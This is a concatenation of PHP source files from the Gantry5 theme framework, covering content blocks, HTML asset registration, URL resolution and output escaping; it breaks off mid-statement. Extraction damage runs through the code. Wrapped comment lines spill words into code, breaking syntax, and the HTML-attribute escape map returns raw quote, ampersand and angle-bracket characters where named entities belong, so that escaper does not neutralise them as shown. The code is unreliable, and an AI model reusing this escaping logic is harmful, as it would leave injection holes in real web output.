* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Content\Block;
/**
* Class to create nested blocks of content.
*
* $innerBlock = ContentBlock::create();
* $innerBlock->setContent('my inner content');
* $outerBlock = ContentBlock::create();
* $outerBlock->setContent(sprintf('Inside my outer block I have
%s.', $innerBlock->getToken()));
* $outerBlock->addBlock($innerBlock);
* echo $outerBlock;
*
* @package Gantry\Component\Content\Block
* @since 5.4.3
*/
class ContentBlock implements ContentBlockInterface
{
protected $version = 1;
protected $id;
protected $tokenTemplate = '@@BLOCK-%s@@';
protected $content = '';
protected $blocks = [];
/**
* @param string $id
* @return static
* @since 5.4.3
*/
public static function create($id = null)
{
return new static($id);
}
/**
* @param array $serialized
* @return ContentBlockInterface
* @since 5.4.3
*/
public static function fromArray(array $serialized)
{
try {
$type = isset($serialized['_type']) ?
$serialized['_type'] : null;
$id = isset($serialized['id']) ?
$serialized['id'] : null;
if (!$type || !$id || !is_a($type,
'Gantry\Component\Content\Block\ContentBlockInterface', true)) {
throw new \RuntimeException('Bad data');
}
/** @var ContentBlockInterface $instance */
$instance = new $type($id);
$instance->build($serialized);
} catch (\Exception $e) {
throw new \RuntimeException(sprintf('Cannot unserialize
Block: %s', $e->getMessage()), $e->getCode(), $e);
}
return $instance;
}
/**
* Block constructor.
*
* @param string $id
* @since 5.4.3
*/
public function __construct($id = null)
{
$this->id = $id ? (string) $id : $this->generateId();
}
/**
* @return string
* @since 5.4.3
*/
public function getId()
{
return $this->id;
}
/**
* @return string
* @since 5.4.3
*/
public function getToken()
{
return sprintf($this->tokenTemplate, $this->getId());
}
/**
* @return array
* @since 5.4.3
*/
public function toArray()
{
$blocks = [];
/**
* @var string $id
* @var ContentBlockInterface $block
*/
foreach ($this->blocks as $block) {
$blocks[$block->getId()] = $block->toArray();
}
$array = [
'_type' => get_class($this),
'_version' => $this->version,
'id' => $this->id,
];
if ($this->content) {
$array['content'] = $this->content;
}
if ($blocks) {
$array['blocks'] = $blocks;
}
return $array;
}
/**
* @return string
* @since 5.4.3
*/
public function toString()
{
if (!$this->blocks) {
return (string) $this->content;
}
$tokens = [];
$replacements = [];
foreach ($this->blocks as $block) {
$tokens[] = $block->getToken();
$replacements[] = $block->toString();
}
return str_replace($tokens, $replacements, (string)
$this->content);
}
/**
* @return string
* @since 5.4.3
*/
public function __toString()
{
try {
return $this->toString();
} catch (\Exception $e) {
return sprintf('Error while rendering block: %s',
$e->getMessage());
}
}
/**
* @param array $serialized
* @since 5.4.3
*/
public function build(array $serialized)
{
$this->checkVersion($serialized);
$this->id = isset($serialized['id']) ?
$serialized['id'] : $this->generateId();
if (isset($serialized['content'])) {
$this->setContent($serialized['content']);
}
$blocks = isset($serialized['blocks']) ? (array)
$serialized['blocks'] : [];
foreach ($blocks as $block) {
$this->addBlock(self::fromArray($block));
}
}
/**
* @param string $content
* @return $this
* @since 5.4.3
*/
public function setContent($content)
{
$this->content = $content;
return $this;
}
/**
* @param ContentBlockInterface $block
* @return $this
* @since 5.4.3
*/
public function addBlock(ContentBlockInterface $block)
{
$this->blocks[$block->getId()] = $block;
return $this;
}
/**
* @return string
* @since 5.4.3
*/
public function serialize()
{
return serialize($this->toArray());
}
/**
* @param string $serialized
* @since 5.4.3
*/
public function unserialize($serialized)
{
$array = unserialize($serialized);
$this->build($array);
}
/**
* @return string
* @since 5.4.3
*/
protected function generateId()
{
return uniqid('', true);
}
/**
* @param array $serialized
* @throws \RuntimeException
* @since 5.4.3
*/
protected function checkVersion(array $serialized)
{
$version = isset($serialized['_version']) ? (string)
$serialized['_version'] : 1;
if ($version != $this->version) {
throw new \RuntimeException(sprintf('Unsupported version
%s', $version));
}
}
}<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Content\Block;
/**
* @since 5.4.3
*/
interface ContentBlockInterface extends \Serializable
{
public static function create($id = null);
public static function fromArray(array $serialized);
public function __construct($id = null);
public function getId();
public function getToken();
public function toArray();
public function build(array $serialized);
public function setContent($content);
public function addBlock(ContentBlockInterface $block);
}<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Content\Block;
use Gantry\Framework\Document;
use Gantry\Framework\Gantry;
use Gantry\Framework\Theme;
/**
* Class HtmlBlock
* @package Gantry\Component\Content\Block
* @since 5.4.3
*/
class HtmlBlock extends ContentBlock implements HtmlBlockInterface
{
protected $version = 1;
protected $frameworks = [];
protected $styles = [];
protected $scripts = [];
protected $html = [];
/**
* @return array
* @since 5.4.3
*/
public function getAssets()
{
$assets = $this->getAssetsFast();
$this->sortAssets($assets['styles']);
$this->sortAssets($assets['scripts']);
$this->sortAssets($assets['html']);
return $assets;
}
/**
* @return array
* @since 5.4.3
*/
public function getFrameworks()
{
$assets = $this->getAssetsFast();
return array_keys($assets['frameworks']);
}
/**
* @param string $location
* @return array
* @since 5.4.3
*/
public function getStyles($location = 'head')
{
$styles = $this->getAssetsInLocation('styles',
$location);
if (!$styles) {
return [];
}
$gantry = Gantry::instance();
/** @var Theme $theme */
$theme = isset($gantry['theme']) ?
$gantry['theme'] : null;
/** @var Document $document */
$document = $gantry['document'];
foreach ($styles as $key => $style) {
if (isset($style['href'])) {
$url = $style['href'];
if ($theme && preg_match('|\.scss$|',
$url)) {
// Compile SCSS files.
$url = $theme->css(basename($url,
'.scss'));
}
// Deal with streams and relative paths.
$url = $document->url($url, false, null, false);
$styles[$key]['href'] = $url;
}
}
return $styles;
}
/**
* @param string $location
* @return array
* @since 5.4.3
*/
public function getScripts($location = 'head')
{
$scripts = $this->getAssetsInLocation('scripts',
$location);
if (!$scripts) {
return [];
}
$gantry = Gantry::instance();
/** @var Document $document */
$document = $gantry['document'];
foreach ($scripts as $key => $script) {
if (isset($script['src'])) {
// Deal with streams and relative paths.
$scripts[$key]['src'] =
$document->url($script['src'], false, null, false);
}
}
return $scripts;
}
/**
* @param string $location
* @return array
* @since 5.4.3
*/
public function getHtml($location = 'bottom')
{
return $this->getAssetsInLocation('html', $location);
}
/**
* @return array
* @since 5.4.3
*/
public function toArray()
{
$array = parent::toArray();
if ($this->frameworks) {
$array['frameworks'] = $this->frameworks;
}
if ($this->styles) {
$array['styles'] = $this->styles;
}
if ($this->scripts) {
$array['scripts'] = $this->scripts;
}
if ($this->html) {
$array['html'] = $this->html;
}
return $array;
}
/**
* @param array $serialized
* @since 5.4.3
*/
public function build(array $serialized)
{
parent::build($serialized);
$this->frameworks = isset($serialized['frameworks']) ?
(array) $serialized['frameworks'] : [];
$this->styles = isset($serialized['styles']) ? (array)
$serialized['styles'] : [];
$this->scripts = isset($serialized['scripts']) ?
(array) $serialized['scripts'] : [];
$this->html = isset($serialized['html']) ? (array)
$serialized['html'] : [];
}
/**
* @param string $framework
* @return $this
* @since 5.4.3
*/
public function addFramework($framework)
{
$this->frameworks[$framework] = 1;
return $this;
}
/**
* @param string|array $element
* @param int $priority
* @param string $location
* @return bool
*
* @example $block->addStyle('assets/js/my.js');
* @example $block->addStyle(['href' =>
'assets/js/my.js', 'media' => 'screen']);
* @since 5.4.3
*/
public function addStyle($element, $priority = 0, $location =
'head')
{
if (!is_array($element)) {
$element = ['href' => (string) $element];
}
if (empty($element['href'])) {
return false;
}
if (!isset($this->styles[$location])) {
$this->styles[$location] = [];
}
$id = !empty($element['id']) ? ['id' =>
(string) $element['id']] : [];
$href = $element['href'];
$type = !empty($element['type']) ? (string)
$element['type'] : 'text/css';
$media = !empty($element['media']) ? (string)
$element['media'] : null;
unset($element['tag'], $element['id'],
$element['rel'], $element['content'],
$element['href'], $element['type'],
$element['media']);
$this->styles[$location][md5($href) . sha1($href)] = [
':type' => 'file',
':priority' => (int) $priority,
'href' => $href,
'type' => $type,
'media' => $media,
'element' => $element
] + $id;
return true;
}
/**
* @param string|array $element
* @param int $priority
* @param string $location
* @return bool
* @since 5.4.3
*/
public function addInlineStyle($element, $priority = 0, $location =
'head')
{
if (!is_array($element)) {
$element = ['content' => (string) $element];
}
if (empty($element['content'])) {
return false;
}
if (!isset($this->styles[$location])) {
$this->styles[$location] = [];
}
$content = (string) $element['content'];
$type = !empty($element['type']) ? (string)
$element['type'] : 'text/css';
$this->styles[$location][md5($content) . sha1($content)] = [
':type' => 'inline',
':priority' => (int) $priority,
'content' => $content,
'type' => $type
];
return true;
}
/**
* @param string|array $element
* @param int $priority
* @param string $location
* @return bool
* @since 5.4.3
*/
public function addScript($element, $priority = 0, $location =
'head')
{
if (!is_array($element)) {
$element = ['src' => (string) $element];
}
if (empty($element['src'])) {
return false;
}
if (!isset($this->scripts[$location])) {
$this->scripts[$location] = [];
}
$src = $element['src'];
$type = !empty($element['type']) ? (string)
$element['type'] : 'text/javascript';
$defer = isset($element['defer']) ? true : false;
$async = isset($element['async']) ? true : false;
$handle = !empty($element['handle']) ? (string)
$element['handle'] : '';
$this->scripts[$location][md5($src) . sha1($src)] = [
':type' => 'file',
':priority' => (int) $priority,
'src' => $src,
'type' => $type,
'defer' => $defer,
'async' => $async,
'handle' => $handle
];
return true;
}
/**
* @param string|array $element
* @param int $priority
* @param string $location
* @return bool
* @since 5.4.3
*/
public function addInlineScript($element, $priority = 0, $location =
'head')
{
if (!is_array($element)) {
$element = ['content' => (string) $element];
}
if (empty($element['content'])) {
return false;
}
if (!isset($this->scripts[$location])) {
$this->scripts[$location] = [];
}
$content = (string) $element['content'];
$type = !empty($element['type']) ? (string)
$element['type'] : 'text/javascript';
$this->scripts[$location][md5($content) . sha1($content)] = [
':type' => 'inline',
':priority' => (int) $priority,
'content' => $content,
'type' => $type
];
return true;
}
/**
* @param string $html
* @param int $priority
* @param string $location
* @return bool
* @since 5.4.3
*/
public function addHtml($html, $priority = 0, $location =
'bottom')
{
if (empty($html) || !is_string($html)) {
return false;
}
if (!isset($this->html[$location])) {
$this->html[$location] = [];
}
$this->html[$location][md5($html) . sha1($html)] = [
':priority' => (int) $priority,
'html' => $html
];
return true;
}
/**
* @param string $location
* @deprecated Temporarily needed in WP
* @since 5.4.3
*/
public function clearStyles($location = 'head')
{
foreach ($this->blocks as $block) {
if (method_exists($block, 'clearStyles')) {
$block->clearStyles($location);
}
}
unset($this->styles[$location]);
}
/**
* @param string $location
* @deprecated Temporarily needed in WP
* @since 5.4.3
*/
public function clearScripts($location = 'head')
{
foreach ($this->blocks as $block) {
if (method_exists($block, 'clearScripts')) {
$block->clearScripts($location);
}
}
unset($this->scripts[$location]);
}
/**
* @return array
* @since 5.4.3
*/
protected function getAssetsFast()
{
$assets = [
'frameworks' => $this->frameworks,
'styles' => $this->styles,
'scripts' => $this->scripts,
'html' => $this->html
];
foreach ($this->blocks as $block) {
if ($block instanceof HtmlBlock) {
$blockAssets = $block->getAssetsFast();
$assets['frameworks'] +=
$blockAssets['frameworks'];
foreach ($blockAssets['styles'] as $location
=> $styles) {
if (!isset($assets['styles'][$location])) {
$assets['styles'][$location] = $styles;
} elseif ($styles) {
$assets['styles'][$location] += $styles;
}
}
foreach ($blockAssets['scripts'] as $location
=> $scripts) {
if (!isset($assets['scripts'][$location])) {
$assets['scripts'][$location] = $scripts;
} elseif ($scripts) {
$assets['scripts'][$location] +=
$scripts;
}
}
foreach ($blockAssets['html'] as $location =>
$htmls) {
if (!isset($assets['html'][$location])) {
$assets['html'][$location] = $htmls;
} elseif ($htmls) {
$assets['html'][$location] += $htmls;
}
}
}
}
return $assets;
}
/**
* @param string $type
* @param string $location
* @return array
* @since 5.4.3
*/
protected function getAssetsInLocation($type, $location)
{
$assets = $this->getAssetsFast();
if (empty($assets[$type][$location])) {
return [];
}
$styles = $assets[$type][$location];
$this->sortAssetsInLocation($styles);
return $styles;
}
/**
* @param array $items
* @since 5.4.3
*/
protected function sortAssetsInLocation(array &$items)
{
$count = 0;
foreach ($items as &$item) {
$item[':order'] = ++$count;
}
uasort(
$items,
function ($a, $b) {
return ($a[':priority'] ==
$b[':priority']) ? $a[':order'] -
$b[':order'] : $b[':priority'] -
$a[':priority'];
}
);
}
/**
* @param array $array
* @since 5.4.3
*/
protected function sortAssets(array &$array)
{
foreach ($array as $location => &$items) {
$this->sortAssetsInLocation($items);
}
}
}<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Content\Block;
/**
* @since 5.4.3
*/
interface HtmlBlockInterface extends ContentBlockInterface
{
public function getAssets();
public function addFramework($framework);
public function addStyle($element, $priority = 0, $location =
'head');
public function addInlineStyle($element, $priority = 0, $location =
'head');
public function addScript($element, $priority = 0, $location =
'head');
public function addInlineScript($element, $priority = 0, $location =
'head');
public function addHtml($html, $priority = 0, $location =
'bottom');
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Content\Document;
use Gantry\Component\Content\Block\ContentBlock;
use Gantry\Component\Content\Block\HtmlBlock;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Component\Url\Url;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class HtmlDocument
{
use GantryTrait;
public static $timestamp_age = 604800;
public static $urlFilterParams;
/**
* @var array|HtmlBlock[]
*/
protected static $stack;
protected static $frameworks = [];
protected static $scripts = [];
protected static $styles = [];
protected static $availableFrameworks = [
'jquery' => 'registerJquery',
'jquery.framework' => 'registerJquery',
'jquery.ui.core' =>
'registerJqueryUiSortable',
'jquery.ui.sortable' =>
'registerJqueryUiSortable',
'bootstrap.2' => 'registerBootstrap2',
'bootstrap.3' => 'registerBootstrap3',
'mootools' => 'registerMootools',
'mootools.framework' => 'registerMootools',
'mootools.core' => 'registerMootools',
'mootools.more' => 'registerMootoolsMore',
'lightcase' => 'registerLightcase',
'lightcase.init' => 'registerLightcaseInit',
];
public function __construct()
{
static::$stack = [];
static::push();
}
/**
* Create new local instance of document allowing asset caching.
*/
public static function push()
{
array_unshift(static::$stack, new HtmlBlock());
}
/**
* Return local instance of document allowing it to be cached.
*
* @return HtmlBlock
*/
public static function pop()
{
return array_shift(static::$stack);
}
/**
* @param ContentBlock $block
* @return $this
*/
public function addBlock(ContentBlock $block)
{
static::$stack[0]->addBlock($block);
return $this;
}
/**
* @param string $framework
* @return bool
*/
public static function addFramework($framework)
{
if (!isset(static::$availableFrameworks[$framework])) {
return false;
}
static::getObject();
static::$stack[0]->addFramework($framework);
return true;
}
/**
* @param string|array $element
* @param int $priority
* @param string $location
* @return bool
*/
public static function addStyle($element, $priority = 0, $location =
'head')
{
static::getObject();
return static::$stack[0]->addStyle($element, $priority,
$location);
}
/**
* @param string|array $element
* @param int $priority
* @param string $location
* @return bool
*/
public static function addInlineStyle($element, $priority = 0,
$location = 'head')
{
static::getObject();
return static::$stack[0]->addInlineStyle($element, $priority,
$location);
}
/**
* @param string|array $element
* @param int $priority
* @param string $location
* @return bool
*/
public static function addScript($element, $priority = 0, $location =
'head')
{
static::getObject();
return static::$stack[0]->addScript($element, $priority,
$location);
}
/**
* @param string|array $element
* @param int $priority
* @param string $location
* @return bool
*/
public static function addInlineScript($element, $priority = 0,
$location = 'head')
{
static::getObject();
return static::$stack[0]->addInlineScript($element, $priority,
$location);
}
/**
* @param string $html
* @param int $priority
* @param string $location
* @return bool
*/
public static function addHtml($html, $priority = 0, $location =
'bottom')
{
static::getObject();
return static::$stack[0]->addHtml($html, $priority, $location);
}
/**
* @param array $element
* @param string $location
* @param int $priority
* @return bool
*/
public static function addHeaderTag(array $element, $location =
'head', $priority = 0)
{
$success = false;
switch ($element['tag']) {
case 'link':
if (!empty($element['rel']) &&
$element['rel'] === 'stylesheet') {
$success = static::addStyle($element, $priority,
$location);
}
break;
case 'style':
$success = static::addInlineStyle($element, $priority,
$location);
break;
case 'script':
if (!empty($element['src'])) {
$success = static::addScript($element, $priority,
$location);
} elseif (!empty($element['content'])) {
$success = static::addInlineScript($element, $priority,
$location);
}
break;
}
return $success;
}
public static function getStyles($location = 'head')
{
static::getObject();
$styles = static::$stack[0]->getStyles($location);
$output = [];
foreach ($styles as $style) {
switch ($style[':type']) {
case 'file':
$attribs = '';
if ($style['media']) {
$attribs .= ' media="' .
static::escape($style['media']) . '"';
}
$output[] = sprintf(
'<link rel="stylesheet"
href="%s" type="%s"%s />',
static::escape($style['href']),
static::escape($style['type']),
$attribs
);
break;
case 'inline':
$attribs = '';
if ($style['type'] !== 'text/css')
{
$attribs .= ' type="' .
static::escape($style['type']) . '"';
}
$output[] = sprintf(
'<style%s>%s</style>',
$attribs,
$style['content']
);
break;
}
}
return $output;
}
public static function getScripts($location = 'head')
{
static::getObject();
$scripts = static::$stack[0]->getScripts($location);
$output = [];
foreach ($scripts as $script) {
switch ($script[':type']) {
case 'file':
$attribs = '';
if ($script['async']) {
$attribs .= ' async="async"';
}
if ($script['defer']) {
$attribs .= ' defer="defer"';
}
$output[] = sprintf(
'<script type="%s"%s
src="%s"></script>',
static::escape($script['type']),
$attribs,
static::escape($script['src'])
);
break;
case 'inline':
$output[] = sprintf(
'<script
type="%s">%s</script>',
static::escape($script['type']),
$script['content']
);
break;
}
}
return $output;
}
public static function getHtml($location = 'bottom')
{
static::getObject();
$htmls = static::$stack[0]->getHtml($location);
$output = [];
foreach ($htmls as $html) {
$output[] = $html['html'];
}
return $output;
}
/**
* Escape string (emulates twig filter).
*
* @param string|object $string
* @param string $strategy
* @return string
*/
public static function escape($string, $strategy = 'html')
{
if (!is_string($string)) {
if (is_object($string) && method_exists($string,
'__toString')) {
$string = (string) $string;
} elseif (in_array($strategy, ['html',
'js', 'css', 'html_attr', 'url']))
{
return $string;
}
}
switch ($strategy) {
case 'html':
return htmlspecialchars($string, ENT_QUOTES |
ENT_SUBSTITUTE, 'UTF-8');
case 'js':
if (0 === strlen($string) ? false : (1 ===
preg_match('/^./su', $string) ? false : true)) {
throw new \RuntimeException('The string to escape
is not a valid UTF-8 string.');
}
$string = preg_replace_callback(
'#[^a-zA-Z0-9,\._]#Su',
'Gantry\\Component\\Content\\Document\\HtmlDocument::_escape_js_callback',
$string
);
return $string;
case 'css':
if (0 === strlen($string) ? false : (1 ===
preg_match('/^./su', $string) ? false : true)) {
throw new \RuntimeException('The string to escape
is not a valid UTF-8 string.');
}
$string = preg_replace_callback(
'#[^a-zA-Z0-9]#Su',
'Gantry\\Component\\Content\\Document\\HtmlDocument::_escape_css_callback',
$string
);
return $string;
case 'html_attr':
if (0 === strlen($string) ? false : (1 ===
preg_match('/^./su', $string) ? false : true)) {
throw new \RuntimeException('The string to escape
is not a valid UTF-8 string.');
}
$string = preg_replace_callback(
'#[^a-zA-Z0-9,\.\-_]#Su',
'Gantry\\Component\\Content\\Document\\HtmlDocument::_escape_html_attr_callback',
$string
);
return $string;
case 'url':
return rawurlencode($string);
default:
throw new \RuntimeException(sprintf('Invalid escaping
strategy "%s" (valid ones: html, js, css, html_attr, url).',
$strategy));
}
}
/**
* @param $framework
* @return bool
* @deprecated 5.3
*/
public static function load($framework)
{
return static::addFramework($framework);
}
/**
* Register assets.
*/
public static function registerAssets()
{
static::registerFrameworks();
}
public static function siteUrl()
{
return static::rootUri();
}
/**
* NOTE: In PHP this function can be called either from Gantry DI
container or statically.
*
* @return string
*/
public static function rootUri()
{
return '';
}
/**
* NOTE: In PHP this function can be called either from Gantry DI
container or statically.
*
* @param bool $addDomain
* @return string
*/
public static function domain($addDomain = false)
{
return '';
}
/**
* Return URL to the resource.
*
* @example {{
url('gantry-theme://images/logo.png')|default('http://www.placehold.it/150x100/f4f4f4')
}}
*
* NOTE: In PHP this function can be called either from Gantry DI
container or statically.
*
* @param string $url Resource to be located.
* @param bool $domain True to include domain name.
* @param int $timestamp_age Append timestamp to files that are less
than x seconds old. Defaults to a week.
* Use value <= 0 to disable the
feature.
* @param bool $allowNull True if non-existing files should return
null.
* @return string|null Returns url to the resource or null if
resource was not found.
*/
public static function url($url, $domain = false, $timestamp_age =
null, $allowNull = true)
{
if (!is_string($url) || $url === '') {
// Return null on invalid input.
return null;
}
if ($url[0] === '#' || $url[0] === '?') {
// Handle urls with query string or fragment only.
return str_replace(' ', '%20', $url);
}
$parts = Url::parse($url);
if (!is_array($parts)) {
// URL could not be parsed.
return $allowNull ? null : str_replace(' ',
'%20', $url);
}
// Make sure we always have scheme, host, port and path.
$scheme = isset($parts['scheme']) ?
$parts['scheme'] : '';
$host = isset($parts['host']) ? $parts['host']
: '';
$port = isset($parts['port']) ? $parts['port']
: '';
$path = isset($parts['path']) ? $parts['path']
: '';
if ($scheme && !$port) {
// If URL has a scheme, we need to check if it's one of
Gantry streams.
$gantry = static::gantry();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
if (!$locator->schemeExists($scheme)) {
// If scheme does not exists as a stream, assume it's
external.
return str_replace(' ', '%20', $url);
}
// Attempt to find the resource (because of parse_url() we need
to put host back to path).
$newPath =
$locator->findResource("{$scheme}://{$host}{$path}", false);
if ($newPath === false) {
if ($allowNull) {
return null;
}
// Return location where the file would be if it was saved.
$path =
$locator->findResource("{$scheme}://{$host}{$path}", false,
true);
} else {
$path = $newPath;
}
} elseif ($host || $port) {
// If URL doesn't have scheme but has host or port, it is
external.
return str_replace(' ', '%20', $url);
}
// At this point URL is either relative or absolute path; let us
find if it is relative and not . or ..
if ($path && '/' !== $path[0] &&
'.' !== $path[0]) {
if ($timestamp_age === null) {
$timestamp_age = static::$timestamp_age;
}
if ($timestamp_age > 0) {
// We want to add timestamp to the URI: do it only for
existing files.
$realPath = @realpath(GANTRY5_ROOT . '/' .
$path);
if ($realPath && is_file($realPath)) {
$time = filemtime($realPath);
// Only append timestamp for files that are less than
the maximum age.
if ($time > time() - $timestamp_age) {
$parts['query'] =
(!empty($parts['query']) ?
"{$parts['query']}&" : '') .
sprintf('%x', $time);
}
}
}
// We need absolute URI instead of relative.
$path = rtrim(static::rootUri(), '/') . '/'
. $path;
}
// Set absolute URI.
$uri = $path;
// Add query string back.
if (!empty($parts['query'])) {
if (!$uri) $uri = static::rootUri();
$uri .= '?' . $parts['query'];
}
// Add fragment back.
if (!empty($parts['fragment'])) {
if (!$uri) $uri = static::rootUri();
$uri .= '#' . $parts['fragment'];
}
return static::domain($domain) . str_replace(' ',
'%20', $uri);
}
/**
* Filter stream URLs from HTML.
*
* @param string $html HTML input to be filtered.
* @param bool $domain True to include domain name.
* @param int $timestamp_age Append timestamp to files that are less
than x seconds old. Defaults to a week.
* Use value <= 0 to disable the
feature.
* @param bool $streamOnly Only touch streams.
* @return string Returns modified HTML.
*/
public static function urlFilter($html, $domain = false, $timestamp_age
= null, $streamOnly = false)
{
static::$urlFilterParams = [$domain, $timestamp_age, $streamOnly];
// Tokenize all PRE, CODE and SCRIPT tags to avoid modifying any
src|href|url in them
$tokens = [];
$html =
preg_replace_callback('#<(pre|code|script)(\s[^>]+)?>.*?</\\1>#ius',
function($matches) use (&$tokens) {
// Unfortunately uniqid() doesn't quite work in Windows,
so we need to work it around by adding some randomness.
$token = '@@'. uniqid(mt_rand(), true) .
'@@';
$match = $matches[0];
$tokens[$token] = $match;
return $token;
}, $html);
if ($streamOnly) {
$gantry = static::gantry();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$schemes = $locator->getSchemes();
$list = [];
foreach ($schemes as $scheme) {
if (strpos($scheme, 'gantry-') === 0) {
$list[] = substr($scheme, 7);
}
}
if (empty($list)) {
return $html;
}
$match = '(gantry-(' . implode('|', $list).
')://.*?)';
} else {
$match = '(.*?)';
}
$html = preg_replace_callback('^(\s)(src|href)="' .
$match . '"^u', 'static::linkHandler', $html);
$html = preg_replace_callback('^(\s)url\(' . $match .
'\)^u', 'static::urlHandler', $html);
$html = static::replaceTokens($tokens, $html);
return $html;
}
/**
* @param array $matches
* @return string
* @internal
*/
public static function linkHandler(array $matches)
{
list($domain, $timestamp_age) = static::$urlFilterParams;
$url = trim($matches[3]);
$url = static::url($url, $domain, $timestamp_age, false);
return "{$matches[1]}{$matches[2]}=\"{$url}\"";
}
/**
* @param array $matches
* @return string
* @internal
*/
public static function urlHandler(array $matches)
{
list($domain, $timestamp_age) = static::$urlFilterParams;
$url = trim($matches[2], '"\'');
$url = static::url($url, $domain, $timestamp_age, false);
return "{$matches[1]}url({$url})";
}
/**
* This function is adapted from code coming from Twig.
*
* @param array $matches
* @return string
* @internal
*/
public static function _escape_js_callback($matches)
{
$char = $matches[0];
/*
* A few characters have short escape sequences in JSON and
JavaScript.
* Escape sequences supported only by JavaScript, not JSON, are
ommitted.
* \" is also supported but omitted, because the resulting
string is not HTML safe.
*/
static $shortMap = [
'\\' => '\\\\',
'/' => '\\/',
"\x08" => '\b',
"\x0C" => '\f',
"\x0A" => '\n',
"\x0D" => '\r',
"\x09" => '\t',
];
if (isset($shortMap[$char])) {
return $shortMap[$char];
}
// \uHHHH
$char = static::convert_encoding($char, 'UTF-16BE',
'UTF-8');
$char = strtoupper(bin2hex($char));
if (4 >= \strlen($char)) {
return sprintf('\u%04s', $char);
}
return sprintf('\u%04s\u%04s', substr($char, 0, -4),
substr($char, -4));
}
/**
* This function is adapted from code coming from Twig.
*
* @param $matches
* @return string
* @internal
*/
public static function _escape_css_callback($matches)
{
$char = $matches[0];
return sprintf('\\%X ', 1 === \strlen($char) ?
\ord($char) : static::ord($char));
}
/**
* This function is adapted from code coming from Twig and Zend
Framework.
*
* @param array $matches
* @return string
*
* @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc.
(https://www.zend.com)
* @license https://framework.zend.com/license/new-bsd New BSD
License
* @internal
*/
public static function _escape_html_attr_callback($matches)
{
$chr = $matches[0];
$ord = \ord($chr);
/*
* The following replaces characters undefined in HTML with the
* hex entity for the Unicode replacement character.
*/
if (($ord <= 0x1f && "\t" !== $chr &&
"\n" !== $chr && "\r" !== $chr) || ($ord >=
0x7f && $ord <= 0x9f)) {
return '�';
}
/*
* Check if the current character to escape has a name entity we
should
* replace it with while grabbing the hex value of the character.
*/
if (1 === \strlen($chr)) {
/*
* While HTML supports far more named entities, the lowest
common denominator
* has become HTML5's XML Serialisation which is
restricted to the those named
* entities that XML supports. Using HTML entities would result
in this error:
* XML Parsing Error: undefined entity
*/
static $entityMap = [
34 => '"', /* quotation mark */
38 => '&', /* ampersand */
60 => '<', /* less-than sign */
62 => '>', /* greater-than sign */
];
if (isset($entityMap[$ord])) {
return $entityMap[$ord];
}
return sprintf('&#x%02X;', $ord);
}
/*
* Per OWASP recommendations, we'll use hex entities for any
other
* characters where a named entity does not exist.
*/
return sprintf('&#x%04X;', static::ord($chr));
}
/**
* Replace tokens with strings.
*
* @param array $tokens
* @param $html
* @return string|NUll
*/
protected static function replaceTokens(array $tokens, $html)
{
foreach ($tokens as $token => $replacement) {
// We need to use callbacks to turn off backreferences ($1,
\\1) in the replacement string.
$callback = function() use ($replacement) { return
$replacement; };
$html = preg_replace_callback('#' .
preg_quote($token, '#') . '#u', $callback, $html);
}
return $html;
}
/**
* Register loaded frameworks.
*/
protected static function registerFrameworks()
{
foreach (static::$stack[0]->getFrameworks() as $framework) {
if (isset(static::$availableFrameworks[$framework])) {
call_user_func([get_called_class(),
static::$availableFrameworks[$framework]]);
}
}
}
protected static function registerJquery()
{
static::addScript(
[
'src' =>
'https://code.jquery.com/jquery-2.2.2.min.js',
'integrity' =>
'sha256-36cp2Co+/62rEAAYHLmRCPIych47CvdM+uTBJwSzWjI=',
'crossorigin' => 'anonymous'
],
11
);
}
protected static function registerJqueryUiSortable()
{
static::registerJquery();
static::addScript(
[
'src' =>
'https://code.jquery.com/ui/1.11.4/jquery-ui.min.js',
'integrity' =>
'sha256-xNjb53/rY+WmG+4L6tTl9m6PpqknWZvRt0rO1SRnJzw=',
'crossorigin' => 'anonymous'
],
11
);
}
protected static function registerBootstrap2()
{
static::registerJquery();
static::addScript(['src' =>
'https://maxcdn.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js'],
11);
}
protected static function registerBootstrap3()
{
static::registerJquery();
static::addScript(['src' =>
'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js'],
11);
}
protected static function registerMootools()
{
static::addScript(['src' =>
'https://cdnjs.cloudflare.com/ajax/libs/mootools/1.5.2/mootools-core-compat.min.js'],
11);
}
protected static function registerMootoolsMore()
{
static::registerMootools();
static::addScript(['src' =>
'https://cdnjs.cloudflare.com/ajax/libs/mootools-more/1.5.2/mootools-more-compat-compressed.js'],
11);
}
protected static function registerLightcase()
{
static::registerJquery();
static::addScript(['src' =>
static::url('gantry-assets://js/lightcase.js', false, null,
false)], 11, 'footer');
static::addStyle(['href' =>
